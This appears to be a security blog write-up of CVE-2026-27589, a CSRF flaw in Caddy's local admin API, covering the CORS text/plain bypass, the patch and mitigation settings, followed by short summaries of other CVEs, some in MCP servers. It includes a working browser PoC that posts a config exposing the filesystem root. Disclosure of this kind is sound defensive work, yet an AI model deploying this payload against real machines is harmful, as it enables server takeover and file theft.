Feb 25, 2026·6 min read·104 visits
Caddy's admin API (port 2019) didn't validate the Origin header. A malicious website can force your browser to send a POST request to 127.0.0.1, overwriting your server config with one controlled by the attacker. Fix: Upgrade to v2.11.1.
A critical Cross-Site Request Forgery (CSRF) vulnerability in Caddy Web Server's administrative API allows remote attackers to silently overwrite the running configuration of a locally running server. By leveraging 'Simple Requests' to bypass CORS preflight checks, a malicious website can force a developer's browser to POST a new config to localhost:2019, effectively seizing control of the server.
We all do it. We spin up a service on 127.0.0.1, see that it's not listening on 0.0.0.0, and assume we are safe in our little fortress of solitude. Caddy, the web server famous for being "secure by default" thanks to its automatic HTTPS, fell into a classic trap with its administrative API. By default, Caddy listens on port 2019 for configuration updates. This is how you reload Caddy without downtime.
The vulnerability here isn't a buffer overflow or a complex logic error; it's a fundamental misunderstanding of how the web works. Developers often treat localhost as a boundary that the outside internet cannot touch. But to a web browser, localhost is just another origin. If you visit evil-site.com while Caddy is running on your machine, evil-site.com cannot read data from your local Caddy instance (thanks to Same-Origin Policy), but it can absolutely send data to it.
CVE-2026-27589 exploits this write-only access. It turns the browser into a confused deputy, instructing it to fire a massive JSON payload at the local admin port. Since Caddy didn't bother checking the return address (the Origin or Host headers), it happily accepts the package, assuming it came from the system administrator. It's the digital equivalent of accepting a package bomb just because it was delivered by your own mailman.
To understand why this works, you have to understand the "Simple Request" loophole in CORS (Cross-Origin Resource Sharing). Normally, if a website tries to POST JSON data to a different origin, the browser sends an OPTIONS request first (the Preflight). If the server doesn't explicitly allow it, the actual POST never happens. Caddy is a Go application; it doesn't just open everything up to CORS by default.
So how does the exploit land? The trick is the Content-Type. If an attacker sends the request as application/json, the browser triggers a preflight. But if the attacker lies and says the content is text/plain or application/x-www-form-urlencoded, the browser treats it as a "Simple Request" and sends the POST immediately without a preflight.
Here is where the Go standard library works against us. Caddy's config loader reads the body of the request. It doesn't strictly enforce that the Content-Type header matches the body format. It just takes the stream of bytes and feeds it to a JSON decoder. The decoder doesn't care about headers; it sees valid JSON brackets and parses them. This allows the attacker to bypass the browser's safety checks entirely.
Let's look at the logic inside admin.go prior to the patch. The handler for the load endpoint was terrifyingly optimistic. It essentially said, "If I received a request, process it."
// Vulnerable logic pseudo-code
func (h *adminHandler) handleLoad(w http.ResponseWriter, r *http.Request) {
// No check for Origin
// No check for Host
// No CSRF token validation
// Read the body
config, err := io.ReadAll(r.Body)
if err != nil { ... }
// Apply config
err = caddy.Load(config, true)
}The fix, introduced in commit 65e0ddc2 (and others), adds explicit origin enforcement. It also introduces a clever mechanism to track the source of the configuration. If the config comes from an API call (like a CSRF attack), Caddy now recognizes that the running state effectively diverges from the disk state.
> [!NOTE]
> The patch introduces ClearLastConfigIfDifferent. If the request headers don't contain specific metadata (which a browser cannot spoof easily), Caddy clears its internal pointer to the config file, preventing it from blindly reloading a compromised state later.
Constructing the exploit is trivial. We don't need fancy tools; we just need a hidden HTML form or a simple fetch command on a malicious page. The goal is to replace the victim's Caddy configuration with one that serves a malicious payload or opens a reverse shell via a sidecar.
Here is a realistic PoC that an attacker might embed in a hidden iframe on a high-traffic site:
// The payload: A Caddy config that opens a file server on port 8080
// pointing to the root of the drive (if permissions allow)
const maliciousConfig = {
"apps": {
"http": {
"servers": {
"stealer": {
"listen": [":8080"],
"routes": [{
"handle": [{
"handler": "file_server",
"root": "/"
}]
}]
}
}
}
}
};
// The trigger using text/plain to bypass CORS preflight
fetch('http://127.0.0.1:2019/load', {
method: 'POST',
mode: 'no-cors', // Opaque response, we don't need to read the reply
headers: {
'Content-Type': 'text/plain' // The lie that enables the attack
},
body: JSON.stringify(maliciousConfig)
});When the victim loads the page, the browser fires the POST. Caddy accepts the text/plain body, parses the JSON inside it, and reloads. Instantly, the developer's local web server is replaced by the attacker's configuration.
The impact goes beyond just "defacing" a local server. Since Caddy is often used as a reverse proxy for internal services or as a local development environment, an attacker can effectively hijack network traffic.
localhost:80 requests to a phishing site, stealing local development credentials.The most subtle danger is Persistence via Confusion. If the attacker overwrites the config in memory, the developer might not notice until they try to reload the service and realize their local Caddyfile is being ignored or behaves erratically.
The fix in version 2.11.1 is robust. It defaults to strictly enforcing the Origin header. If the Origin does not match the listener address (e.g., 127.0.0.1:2019), the request is rejected. This kills the browser-based attack vector immediately because browsers essentially force the Origin header to be the malicious domain.
Immediate Actions:
{
"admin": {
"enforce_origin": true,
"origins": ["127.0.0.1:2019"]
}
}This vulnerability serves as a grim reminder: relying on network perimeter (even the localhost perimeter) is insufficient. Authentication and Origin validation must happen at the application layer, regardless of where the packet is coming from.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
Caddy CaddyServer | < 2.11.1 | 2.11.1 |
| Attribute | Detail |
|---|---|
| CWE | CWE-352 (CSRF) |
| Attack Vector | Network (Drive-by) |
| CVSS v4.0 | 6.9 (Medium) |
| Impact | High Integrity (Config Overwrite) |
| Exploit Status | PoC Available |
| Bypass Method | CORS Simple Request (text/plain) |
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.
An Authorization Bypass Through User-Controlled Key (CWE-639 / Insecure Direct Object Reference) vulnerability exists in @arikusi/deepseek-mcp-server starting in version 1.4.2 and fixed in 1.7.0. In Streamable HTTP transport mode, a process-global SessionStore singleton allows any remote client to retrieve or modify active conversation contexts belonging to other clients.
CVE-2026-45018 is a critical command injection vulnerability in Chainlit's Model Context Protocol (MCP) stdio transport backend. By submitting a crafted JSON payload containing dangerous argument options to an unauthenticated HTTP endpoint, a remote attacker can bypass executable validation rules and run arbitrary shell commands with the privileges of the active Python process.
An unauthenticated server-side request forgery (SSRF) vulnerability exists in Chainlit versions >= 2.4.0rc0 and < 2.12.0 when the Model Context Protocol (MCP) features are enabled. This vulnerability allows remote, unauthenticated attackers to force the backend application server to initiate arbitrary HTTP/HTTPS connections to internal subnets, localhost endpoints, or cloud metadata infrastructure.
An algorithmic complexity denial of service vulnerability exists in the Python icalendar library's component equality evaluation. Due to recursive nested comparisons inside list membership operations, parsing and validating calendar components with deep nesting triggers exponential execution time, blocking application threads and consuming 100% of the available CPU core.
JupyterHub is vulnerable to an unauthenticated Denial of Service (DoS) vulnerability. Prior to version 5.5.0, form-based authenticators failed to restrict the size of the username input field on failed logins, allowing remote attackers to exhaust host storage and memory resources.
The self-hosted HTTP transport mode of @arikusi/deepseek-mcp-server (an MCP server for DeepSeek V4) exposes its JSON-RPC endpoint (POST /mcp) without authentication in versions 1.4.2 through 1.7.0. Unauthenticated clients can establish Model Context Protocol sessions and invoke tools, consuming the host's configured DeepSeek API key.